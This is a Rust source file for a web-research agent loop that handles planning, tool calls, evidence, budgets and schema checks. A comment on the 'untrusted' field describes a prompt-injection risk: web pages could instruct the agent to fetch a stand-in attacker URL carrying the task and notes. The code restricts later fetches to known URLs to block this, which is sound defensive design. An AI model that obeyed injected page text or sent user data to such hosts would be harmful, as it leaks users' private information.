pagesift_engine/engine/agent/
mod.rs

1//! `/v2/agent` 的循环：LLM 规划 → 调工具（search、map、带 queryFilter 的 scrape、extract）→ 证据存档 →
2//! 判断够不够 → 停。
3//!
4//! - **停**：模型自己说够了（`answered`），或者自适应爬取的停止判据（[`Adaptive`]：新页面不再带来相关信息）
5//!   先触发，这时只允许模型回答，不能再调工具。`effort` 只改预算上限，判据不变。
6//! - **预算用尽**：同样只允许回答。回答有缺失、不符合 schema 或有未核实的字段时如实报告不完整
7//!   （`budget.exhausted`，对外 `failed` + `stopReason`）；没有 token 回答时只留下证据。
8//! - **token**：每次提示的上限来自 `model_limits()` 和 `token_rate_limit()`（见 [`budget`]），超过每分钟
9//!   限额时等。用量优先取服务报的值，没报时按 [`model_tokens`] 估计并标出来。
10
11mod budget;
12mod protocol;
13mod provenance;
14mod tools;
15
16use std::collections::HashSet;
17use std::time::Instant;
18
19use pagesift_api::types::{
20    AdaptiveOptions, AgentEvidence, AgentFailure, AgentOutcome, AgentRequest, AgentSource,
21    AgentStep, AgentUsage,
22};
23use pagesift_api::{AgentSink, ApiError, Engine, ErrorCode};
24use pagesift_llm::{
25    ChatClient, ChatMessage, ChatRequest, LlmError, ResponseFormat, Role, SchemaMode,
26};
27use serde_json::Value;
28
29use self::budget::{Budget, Pacer};
30use self::protocol::{Action, Tools, View, parse_action, system_prompt, user_prompt};
31use self::tools::Candidate;
32use super::autoschema::model_tokens;
33use super::extract::llm_error;
34use crate::focus::{Adaptive, Focus};
35
36/// 提交前的检查：没配 LLM、没有 `urls` 又没配搜索。
37pub fn check(has_llm: bool, has_search: bool, req: &AgentRequest) -> Result<(), ApiError> {
38    if !has_llm {
39        return Err(ApiError::unsupported(
40            "agent needs an LLM: set [llm] in pagesift.toml",
41        ));
42    }
43    if !has_search && req.urls.as_deref().unwrap_or_default().is_empty() {
44        return Err(ApiError::unsupported(
45            "agent without urls needs a search backend: set [search] in pagesift.toml",
46        ));
47    }
48    Ok(())
49}
50
51/// 跑完一次。`engine` 可以是单机的 `Scraper`，也可以是多服务器网关（页面走网关的调度）。
52pub async fn run(
53    engine: &dyn Engine,
54    llm: &ChatClient,
55    has_search: bool,
56    req: &AgentRequest,
57    sink: &dyn AgentSink,
58) -> AgentOutcome {
59    let budget = Budget::new(llm, req).await;
60    let pacer = Pacer::new(budget.per_minute);
61    let focus = Focus::new(&req.prompt);
62    let terms = focus.query.len();
63    let strict = req.strict_constrain_to_urls;
64    let mut run = Run {
65        engine,
66        llm,
67        req,
68        sink,
69        tools: Tools {
70            search: has_search && !strict,
71            map: !strict,
72        },
73        budget,
74        pacer,
75        adaptive: Adaptive::new(AdaptiveOptions::default(), terms),
76        focus,
77        verdict: None,
78        candidates: Vec::new(),
79        seeds: HashSet::new(),
80        known: HashSet::new(),
81        untrusted: false,
82        read: HashSet::new(),
83        evidence: Vec::new(),
84        fresh: Vec::new(),
85        sources: Vec::new(),
86        steps: Vec::new(),
87        step_lines: Vec::new(),
88        notes: String::new(),
89        last: String::new(),
90        usage: AgentUsage::default(),
91        warnings: Vec::new(),
92        turn: 0,
93        native_json: llm.config().schema_mode != SchemaMode::PromptOnly,
94    };
95    run.seed_candidates();
96    run.drive().await
97}
98
99/// 为什么只能回答了。
100#[derive(Clone, Copy)]
101enum Stop {
102    /// 自适应判据：新页面不再带来相关信息。
103    Adaptive(&'static str),
104    Budget(&'static str),
105}
106
107struct Run<'a> {
108    engine: &'a dyn Engine,
109    llm: &'a ChatClient,
110    req: &'a AgentRequest,
111    sink: &'a dyn AgentSink,
112    tools: Tools,
113    budget: Budget,
114    pacer: Pacer,
115    focus: Focus,
116    adaptive: Adaptive,
117    verdict: Option<&'static str>,
118    candidates: Vec<Candidate>,
119    /// 调用方给的网址：不算盲探。
120    seeds: HashSet<String>,
121    /// 来路清楚的网址：调用方给的、搜索和 map 返回的、读过的页面上链接的。
122    known: HashSet<String>,
123    /// 模型已经读到网页内容（可能带注入的指令）：之后只能打开 `known` 里的网址，
124    /// 否则页面可以让它去抓 `https://攻击者/?q=<任务和笔记>`。
125    untrusted: bool,
126    /// 抓过的网址（成功、失败、被 robots 拒绝都算），不再抓第二次。
127    read: HashSet<String>,
128    evidence: Vec<AgentEvidence>,
129    /// 上一步新增的证据（下标）。
130    fresh: Vec<usize>,
131    sources: Vec<AgentSource>,
132    steps: Vec<AgentStep>,
133    step_lines: Vec<String>,
134    notes: String,
135    last: String,
136    usage: AgentUsage,
137    warnings: Vec<String>,
138    turn: usize,
139    /// 服务接受 `response_format`；拒绝过一次（400 等）后改用提示约束。
140    native_json: bool,
141}
142
143impl Run<'_> {
144    async fn record(&mut self, tool: &str, input: Value, result: &str, detail: Option<String>) {
145        let step = AgentStep {
146            turn: self.turn,
147            tool: tool.to_string(),
148            input,
149            result: result.to_string(),
150            detail,
151        };
152        self.step_lines.push(format!(
153            "turn {}: {} {} -> {}{}",
154            step.turn,
155            step.tool,
156            step.input,
157            step.result,
158            step.detail
159                .as_deref()
160                .map(|d| format!(" ({d})"))
161                .unwrap_or_default()
162        ));
163        self.sink.step(&step, self.usage.credits()).await;
164        self.steps.push(step);
165    }
166
167    /// 接下来只能回答了吗。预算里要留出回答和一次纠正。
168    fn forced_stop(&self) -> Option<Stop> {
169        if let Some(v) = self.verdict {
170            return Some(Stop::Adaptive(v));
171        }
172        if self.usage.pages >= self.budget.max_pages {
173            return Some(Stop::Budget("pages"));
174        }
175        if let Some(c) = self.budget.max_credits
176            && self.usage.credits() >= c
177        {
178            return Some(Stop::Budget("credits"));
179        }
180        if self.sink.pages_left() == Some(0) {
181            return Some(Stop::Budget("quota"));
182        }
183        if self.usage.llm_calls + 2 >= self.budget.max_calls {
184            return Some(Stop::Budget("llmCalls"));
185        }
186        if self.usage.tokens + 2 * self.call_cost() as u64 > self.budget.max_tokens {
187            return Some(Stop::Budget("tokens"));
188        }
189        None
190    }
191
192    /// 一次调用最多用多少 token。
193    fn call_cost(&self) -> usize {
194        self.budget.input + self.budget.output
195    }
196
197    fn budget_line(&self) -> String {
198        let mut line = format!(
199            "{} of {} pages read, {} of {} model calls used",
200            self.usage.pages, self.budget.max_pages, self.usage.llm_calls, self.budget.max_calls
201        );
202        if let Some(c) = self.budget.max_credits {
203            line.push_str(&format!(", {} of {c} credits used", self.usage.credits()));
204        }
205        line
206    }
207
208    /// 组装这一轮的提示。任务本身放不下时返回 `None`。
209    fn prompt(&mut self, stop: Option<Stop>, correction: Option<&str>) -> Option<(String, String)> {
210        let system = system_prompt(self.tools);
211        self.candidates.sort_by(|a, b| b.score.total_cmp(&a.score));
212        let final_turn = stop.map(|s| match s {
213            Stop::Adaptive(_) => "new pages stopped adding relevant information",
214            Stop::Budget(_) => "the budget is used up",
215        });
216        let view = View {
217            task: &self.req.prompt,
218            schema: self.req.schema.as_ref(),
219            budget_line: self.budget_line(),
220            steps: &self.step_lines,
221            notes: &self.notes,
222            candidates: self
223                .candidates
224                .iter()
225                .map(|c| (c.url.as_str(), c.title.as_str(), c.description.as_str()))
226                .collect(),
227            fresh: &self.fresh,
228            evidence: &self.evidence,
229            last: &self.last,
230            correction,
231            final_turn,
232            input_tokens: self.budget.input,
233        };
234        let user = user_prompt(&view, model_tokens(&system))?;
235        Some((system, user))
236    }
237
238    /// 调一次模型（等每分钟限额），记下用量。
239    async fn ask(&mut self, system: String, user: String) -> Result<String, LlmError> {
240        let estimate = model_tokens(&system) + model_tokens(&user);
241        let wait = self.pacer.wait_for(estimate, Instant::now());
242        if !wait.is_zero() {
243            tokio::time::sleep(wait).await;
244        }
245        let mut req = ChatRequest {
246            messages: vec![
247                ChatMessage::new(Role::System, system),
248                ChatMessage::new(Role::User, user),
249            ],
250            temperature: Some(0.0),
251            max_tokens: Some(self.budget.output.min(u32::MAX as usize) as u32),
252            response_format: self.native_json.then_some(ResponseFormat::JsonObject),
253        };
254        self.usage.llm_calls += 1;
255        let resp = match self.llm.chat(&req).await {
256            // [协议] 服务拒绝 response_format 的状态码，和 `extract_json` 相同
257            Err(LlmError::Upstream { status, .. })
258                if self.native_json
259                    && self.llm.config().schema_mode == SchemaMode::Auto
260                    && matches!(status, 400 | 404 | 415 | 422) =>
261            {
262                // 服务不认 response_format，或者回复过不了它的 JSON 校验：退回提示约束
263                self.native_json = false;
264                req.response_format = None;
265                self.usage.llm_calls += 1;
266                self.llm.chat(&req).await?
267            }
268            other => other?,
269        };
270        let spent = match resp.usage {
271            Some(u) => u.total,
272            None => {
273                self.usage.tokens_estimated = true;
274                estimate + model_tokens(&resp.content)
275            }
276        };
277        self.usage.tokens += spent as u64;
278        self.pacer.record(spent, Instant::now());
279        Ok(resp.content)
280    }
281
282    fn outcome(&mut self, finish_reason: &str) -> AgentOutcome {
283        AgentOutcome {
284            finish_reason: finish_reason.to_string(),
285            sources: std::mem::take(&mut self.sources),
286            evidence: std::mem::take(&mut self.evidence),
287            steps: std::mem::take(&mut self.steps),
288            usage: self.usage.clone(),
289            budget: self.budget.report(None),
290            warnings: std::mem::take(&mut self.warnings),
291            ..Default::default()
292        }
293    }
294
295    fn failed(&mut self, error: ApiError) -> AgentOutcome {
296        let mut o = self.outcome("error");
297        o.error = Some(AgentFailure::from(&error));
298        o
299    }
300
301    /// 没有 token 或调用次数回答了：只留下证据。
302    fn out_of_budget(&mut self, kind: &str) -> AgentOutcome {
303        let mut o = self.outcome("budget_exhausted");
304        o.budget.exhausted = Some(kind.to_string());
305        o.message = Some(format!(
306            "the {kind} budget ran out before the model could answer; only the evidence is available"
307        ));
308        o
309    }
310
311    async fn drive(&mut self) -> AgentOutcome {
312        let mut correction: Option<String> = None;
313        loop {
314            if self.sink.cancelled() {
315                return self.outcome("cancelled");
316            }
317            let stop = self.forced_stop();
318            // 回答也要花一次调用：一次都花不起时不再调用
319            if let Some(Stop::Budget(kind)) = stop
320                && (self.usage.llm_calls >= self.budget.max_calls
321                    || self.usage.tokens + self.call_cost() as u64 > self.budget.max_tokens)
322            {
323                return self.out_of_budget(kind);
324            }
325            let Some((system, user)) = self.prompt(stop, correction.as_deref()) else {
326                return self.failed(ApiError::invalid(format!(
327                    "the prompt and schema do not fit the {} tokens this model allows per call",
328                    self.budget.input
329                )));
330            };
331            self.turn += 1;
332            let reply = match self.ask(system, user).await {
333                Ok(r) => r,
334                // 回复的格式不对（空内容等）按回答不合格处理，其余的是服务的问题
335                Err(LlmError::InvalidResponse(why)) if correction.is_none() => {
336                    correction = Some(format!("the reply was not usable: {why}"));
337                    continue;
338                }
339                Err(e) => return self.failed(llm_error(e)),
340            };
341            let parsed = pagesift_llm::parse_json(&reply)
342                .map_err(|e| format!("not valid JSON: {e}"))
343                .and_then(|v| Ok((parse_action(&v)?, v)));
344            let (action, raw) = match parsed {
345                Ok(a) => a,
346                Err(why) => {
347                    if correction.is_some() {
348                        return self.failed(not_usable(&why));
349                    }
350                    correction = Some(why);
351                    continue;
352                }
353            };
354            let refused = match &action {
355                Action::Finish { .. } => None,
356                _ if stop.is_some() => {
357                    Some("no more tools are available: reply with the finish action")
358                }
359                Action::Search { .. } if !self.tools.search => {
360                    Some("the search tool is not available in this run")
361                }
362                Action::Map { .. } if !self.tools.map => {
363                    Some("the map tool is not available in this run")
364                }
365                _ => None,
366            };
367            if let Some(why) = refused {
368                if correction.is_some() {
369                    return self.failed(not_usable(why));
370                }
371                correction = Some(why.to_string());
372                continue;
373            }
374            if let Some(n) = raw.get("notes").and_then(Value::as_str) {
375                self.notes = protocol::clip(n, self.budget.page_tokens).to_string();
376            }
377            match action {
378                Action::Search { query, limit } => {
379                    self.fresh.clear();
380                    self.tool_search(&query, limit).await;
381                }
382                Action::Map { url, search } => {
383                    self.fresh.clear();
384                    self.last.clear();
385                    self.tool_map(&url, search.as_deref()).await;
386                }
387                Action::Scrape { urls, query } => self.tool_scrape(urls, query).await,
388                Action::Extract { url, intent } => self.tool_extract(&url, &intent).await,
389                Action::Finish {
390                    data,
391                    cited,
392                    missing,
393                    message,
394                } => {
395                    let schema_valid = self
396                        .req
397                        .schema
398                        .as_ref()
399                        .map(|s| pagesift_llm::validate_schema(s, &data));
400                    if let Some(Err(errs)) = &schema_valid
401                        && correction.is_none()
402                    {
403                        correction = Some(format!(
404                            "`data` does not match the schema: {}",
405                            errs.join("; ")
406                        ));
407                        continue;
408                    }
409                    let valid = schema_valid.map(|r| r.is_ok());
410                    return self.finished(data, &cited, missing, message, valid, stop);
411                }
412            }
413            correction = None;
414        }
415    }
416
417    fn finished(
418        &mut self,
419        data: Value,
420        cited: &serde_json::Map<String, Value>,
421        missing: Vec<String>,
422        message: Option<String>,
423        schema_valid: Option<bool>,
424        stop: Option<Stop>,
425    ) -> AgentOutcome {
426        let (field_sources, unverified) = provenance::attribute(&data, cited, &self.evidence);
427        if !unverified.is_empty() {
428            self.warnings.push(format!(
429                "agent_unverified_fields: {}",
430                unverified.join(", ")
431            ));
432        }
433        let answered = !data.is_null() && missing.is_empty() && schema_valid != Some(false);
434        let reason = match stop {
435            Some(Stop::Adaptive(v)) => v,
436            _ => "answered",
437        };
438        let mut o = self.outcome(reason);
439        o.complete = answered;
440        // 预算逼停的回答要求更严：模型没有机会再查，字段也要都核实得了
441        if let Some(Stop::Budget(kind)) = stop
442            && !(answered && unverified.is_empty())
443        {
444            o.complete = false;
445            o.finish_reason = "budget_exhausted".into();
446            o.budget.exhausted = Some(kind.to_string());
447        }
448        if !o.complete {
449            let mut what = vec![];
450            if !missing.is_empty() {
451                what.push(format!("missing: {}", missing.join(", ")));
452            }
453            if schema_valid == Some(false) {
454                what.push("the answer does not match the schema".to_string());
455            }
456            if data.is_null() {
457                what.push("no answer".to_string());
458            }
459            o.warnings
460                .push(format!("agent_incomplete: {}", what.join("; ")));
461        }
462        if schema_valid == Some(false) && o.budget.exhausted.is_none() {
463            o.error = Some(AgentFailure::from(&not_usable(
464                "the answer does not match the schema after one correction",
465            )));
466        }
467        o.data = Some(data);
468        o.schema_valid = schema_valid;
469        o.field_sources = field_sources;
470        o.missing = missing;
471        o.message = message;
472        o
473    }
474}
475
476fn not_usable(why: &str) -> ApiError {
477    ApiError::new(
478        ErrorCode::UpstreamError,
479        format!("the LLM reply is not usable after one correction: {why}"),
480    )
481}
pagesift_engine/engine/agent/mod.rs

pagesift_engine/engine/agent/
mod.rs
